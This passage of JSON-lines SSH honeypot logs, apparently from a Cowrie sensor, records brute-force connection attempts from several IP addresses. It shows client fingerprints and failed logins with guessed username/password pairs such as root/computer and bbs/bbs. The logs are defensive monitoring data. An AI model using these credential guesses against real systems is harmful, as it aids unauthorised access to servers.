mpCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:00.477188Z","src_ip":"103.149.28.157","session":"66a7942273da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021988","message":"login attempt [root/11021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:01.271922Z","src_ip":"103.149.28.157","session":"66a7942273da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:02.536053Z","src_ip":"103.149.28.157","session":"66a7942273da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":33850,"dst_ip":"159.203.135.109","dst_port":22,"session":"89054fbfa77a","protocol":"ssh","message":"New connection: 36.91.81.195:33850 (159.203.135.109:22) [session: 89054fbfa77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:06.824762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:06.829994Z","src_ip":"36.91.81.195","session":"89054fbfa77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:07.098917Z","src_ip":"36.91.81.195","session":"89054fbfa77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbs","password":"bbs","message":"login attempt [bbs/bbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:08.205783Z","src_ip":"36.91.81.195","session":"89054fbfa77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:09.478369Z","src_ip":"36.91.81.195","session":"89054fbfa77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":34426,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b8417d022a","protocol":"ssh","message":"New connection: 4.227.177.11:34426 (10.17.0.5:22) [session: 78b8417d022a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:18.238725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:18.243196Z","src_ip":"4.227.177.11","session":"78b8417d022a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:18.257599Z","src_ip":"4.227.177.11","session":"78b8417d022a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"12345678","message":"login attempt [omm/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:18.332465Z","src_ip":"4.227.177.11","session":"78b8417d022a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:19.346443Z","src_ip":"4.227.177.11","session":"78b8417d022a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":47216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5827b3321cd4","protocol":"ssh","message":"New connection: 87.226.190.225:47216 (10.17.0.5:22) [session: 5827b3321cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:37.042745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:37.047554Z","src_ip":"87.226.190.225","session":"5827b3321cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:37.207960Z","src_ip":"87.226.190.225","session":"5827b3321cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5","message":"login attempt [root/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:37.871329Z","src_ip":"87.226.190.225","session":"5827b3321cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:39.032903Z","src_ip":"87.226.190.225","session":"5827b3321cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":54598,"dst_ip":"159.203.135.109","dst_port":22,"session":"68f63ff0299b","protocol":"ssh","message":"New connection: 176.147.144.172:54598 (159.203.135.109:22) [session: 68f63ff0299b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:40.207901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:40.211832Z","src_ip":"176.147.144.172","session":"68f63ff0299b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:40.311846Z","src_ip":"176.147.144.172","session":"68f63ff0299b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:40.723611Z","src_ip":"176.147.144.172","session":"68f63ff0299b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:47:41.821975Z","src_ip":"176.147.144.172","session":"68f63ff0299b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33456,"dst_ip":"159.203.135.109","dst_port":22,"session":"622f41be10c6","protocol":"ssh","message":"New connection: 137.184.228.138:33456 (159.203.135.109:22) [session: 622f41be10c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:14.302839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:14.307694Z","src_ip":"137.184.228.138","session":"622f41be10c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:14.377435Z","src_ip":"137.184.228.138","session":"622f41be10c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mexal","password":"mexal","message":"login attempt [mexal/mexal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:14.687121Z","src_ip":"137.184.228.138","session":"622f41be10c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:15.759658Z","src_ip":"137.184.228.138","session":"622f41be10c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"792b099aaa64","protocol":"ssh","message":"New connection: 36.91.81.195:34664 (159.203.135.109:22) [session: 792b099aaa64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:41.642969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:41.647466Z","src_ip":"36.91.81.195","session":"792b099aaa64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:41.926813Z","src_ip":"36.91.81.195","session":"792b099aaa64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:43.059862Z","src_ip":"36.91.81.195","session":"792b099aaa64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:44.339242Z","src_ip":"36.91.81.195","session":"792b099aaa64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36470,"dst_ip":"159.203.135.109","dst_port":22,"session":"98736146b67e","protocol":"ssh","message":"New connection: 103.176.20.57:36470 (159.203.135.109:22) [session: 98736146b67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:57.378664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:57.383245Z","src_ip":"103.176.20.57","session":"98736146b67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:57.631873Z","src_ip":"103.176.20.57","session":"98736146b67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"251289","message":"login attempt [root/251289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:58.379074Z","src_ip":"103.176.20.57","session":"98736146b67e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":43496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d3fbe9b792","protocol":"ssh","message":"New connection: 4.227.177.11:43496 (10.17.0.5:22) [session: f2d3fbe9b792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:58.526983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:58.531601Z","src_ip":"4.227.177.11","session":"f2d3fbe9b792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:58.542367Z","src_ip":"4.227.177.11","session":"f2d3fbe9b792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"controlm","password":"controlm","message":"login attempt [controlm/controlm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:58.619619Z","src_ip":"4.227.177.11","session":"f2d3fbe9b792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:59.631128Z","src_ip":"103.176.20.57","session":"98736146b67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:48:59.635693Z","src_ip":"4.227.177.11","session":"f2d3fbe9b792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":46230,"dst_ip":"10.17.0.5","dst_port":22,"session":"060ba12afdd5","protocol":"ssh","message":"New connection: 87.226.190.225:46230 (10.17.0.5:22) [session: 060ba12afdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:00.354576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:00.359826Z","src_ip":"87.226.190.225","session":"060ba12afdd5","protocol":"ssh"}
